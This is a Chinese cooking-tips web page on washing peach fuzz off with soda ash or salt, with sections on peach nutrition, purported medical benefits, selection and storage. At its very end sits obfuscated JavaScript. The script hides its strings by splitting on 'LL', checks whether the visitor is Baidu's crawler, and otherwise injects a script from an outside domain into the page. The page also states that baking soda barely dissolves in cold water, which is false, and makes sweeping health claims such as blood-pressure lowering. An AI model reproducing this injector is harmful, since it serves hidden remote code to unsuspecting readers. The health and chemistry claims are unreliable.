當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

教你洗桃毛的小妙招 桃毛自己掉洗得又快又干凈

2019-07-04 18:16:33  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:現(xiàn)在是7月份了,各種水果紛紛成熟上市,而且都是非常新鮮,可以說正是大吃特吃水果的好時(shí)候。在眾多新鮮上市的水果里,桃子是比較特殊的一

現(xiàn)在是7月份了,各種水果紛紛成熟上市,而且都是非常新鮮,可以說正是大吃特吃水果的好時(shí)候。在眾多新鮮上市的水果里,桃子是比較特殊的一種。主要是桃子的保鮮期比較短,而不耐存放和運(yùn)輸,多數(shù)都是用來做果醬和罐頭。新鮮桃子上市的時(shí)間短,很快就會(huì)過季,所以愛吃桃子的要抓緊了。又到了夏天吃桃子的季節(jié)了,桃子好吃,營養(yǎng)價(jià)值非常的高,可是吃桃子的時(shí)候呢,表面一層絨毛不清理干凈,吃起來不僅倒胃口,還會(huì)引起消化不良。今天360常識(shí)網(wǎng)給大家分享幾個(gè)實(shí)用的小妙招,桃子好吃桃毛難清洗?別再用水清洗了,幾個(gè)小方法,桃毛自動(dòng)掉。

洗桃子還在用鹽嗎?換成“它”,桃毛自己掉,洗得又快又干凈

桃的功效與作用

1.補(bǔ)益氣血、養(yǎng)陰生津

對(duì)大病之后,氣血虧虛,面黃肌瘦,心悸氣短者、慢性支氣管炎、支氣管擴(kuò)張癥、肺纖維化、肺不張、矽肺、肺結(jié)核等出現(xiàn)的干咳、咳血、慢性發(fā)熱、盜汗等癥有輔助食療效果。

2.補(bǔ)氣益血

桃的含鐵量較高,是缺鐵性貧血病人的理想輔助食物。

3.緩解水腫

桃含鉀多,含鈉少,適合水腫病人食用。

4.活血潤腸

桃仁有活血化淤、潤腸通便作用,可用于閉經(jīng)、跌打損傷等的輔助治療。

5.降血壓

有抗凝血作用,并能抑制咳嗽中樞而止咳。同時(shí)能使血壓下降,可用于高血壓病人的輔助治療。

洗桃子還在用鹽嗎?換成“它”,桃毛自己掉,洗得又快又干凈

桃子的寓意非常好,自古就有“壽桃”和“仙桃”的美稱。而且桃子的營養(yǎng)豐富,富含多種糖類、粗纖維、維生素、胡蘿卜素、蛋白質(zhì)、碳水化合物和各種微量元素等,尤其是鉀、鐵元素含量很高。并且桃子可以放心隨便吃,不會(huì)對(duì)身體有任何影響,所以在很多地方還被稱為“天下第一果”。

但是桃子還有一個(gè)“缺點(diǎn)”,就是有很多細(xì)小的桃毛。而且大約有1/3的人對(duì)桃毛“過敏”,皮膚接觸桃毛以后會(huì)產(chǎn)生短暫的“皮疹”,外在表現(xiàn)是發(fā)紅發(fā)癢,越撓越癢,也叫“刺癢”。很多人愛吃桃子,但是討厭桃毛。我就是其中之一,寧可不吃桃子,也不愿意去摸桃毛。

大多數(shù)人清洗桃毛都會(huì)用淡鹽水浸泡一會(huì),然后揉搓一下,這個(gè)方法不錯(cuò),但是不能清洗干凈。其實(shí)水里放點(diǎn)“堿面”,稍微浸泡一會(huì),然后簡單揉搓一下,再放清水下沖洗干凈就可以了。用這個(gè)方法清洗桃毛比用鹽效果好多了,洗得又快又干凈!而且泡一會(huì),桃毛自己就掉了,水面上浮著一層桃毛。

那么這是什么原理呢?其實(shí)很簡單,食用堿面的成分是碳酸鈉Na2Co3,是一種堿性比較強(qiáng)的物質(zhì),而且極易容易水。而桃子表面有一次果膠,果膠是一種多糖聚合物,它不溶于水,但是溶于堿性溶液。所以桃子用堿面水浸泡以后,那一層果膠就溶于水,桃毛就跟著自己掉落了。

洗桃子還在用鹽嗎?換成“堿面”,桃毛自己掉,洗得又快又干凈!上面就是詳細(xì)的介紹。有人說沒堿面,能用小蘇打代替嗎?實(shí)際上小蘇打的效果不好,因?yàn)樾√K打難溶于50度以下的涼水,所以小蘇打的效果還不如鹽。如果只有小蘇打的話,建議先用少量熱水化開。

洗桃子還在用鹽嗎?換成“它”,桃毛自己掉,洗得又快又干凈

洗桃毛小妙招:

妙招一

在手上準(zhǔn)備一把食用鹽,把鹽和桃子放一起用手搓,在鹽的作用下,桃子表面的絨毛很容易就搓洗干凈,再倒入清水,沖洗掉表面的絨毛。大家看看桃子表面的絨毛在鹽的作用下,搓洗的干干凈凈。

妙招二

先在水中加少許鹽,放入桃子浸泡約五分鐘,桃子在鹽水的作用下,表面的絨毛全部都泡開了,再用手輕輕的搓洗,這樣也可以使桃子清洗地干干凈凈。

洗桃子還在用鹽嗎?換成“它”,桃毛自己掉,洗得又快又干凈

桃的營養(yǎng)價(jià)值

1.桃子性味平和,含有多種維生素,果酸以及鈣,磷,鐵等礦物質(zhì),尤其是鐵的含量較高。

2.新鮮的桃子含水量較高約89%,熱量較低,其熱量主要來源于甜味中的天然糖。

桃的選購

看外型:果體大,形狀端正,外皮無傷有桃毛、果色鮮亮為佳。

看果味:以汁液豐富,味道甜酸適中,果香濃郁者為優(yōu)。反之,汁液稀少,甜味不足,酸味較大,香味無或淡薄者為次。

桃的存儲(chǔ)

桃子如果過度冷藏會(huì)有損美味,所以冷藏與冰箱1~2小時(shí)即可。如果要長時(shí)間冷藏的話,要先用紙將桃子一個(gè)個(gè)的包好,再放入箱子中,避免桃子直接與冷氣接觸,桃子如果過熟,甜味并不會(huì)增加,只會(huì)讓果肉更軟更爛,所以最好在買來三天之內(nèi)吃完。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}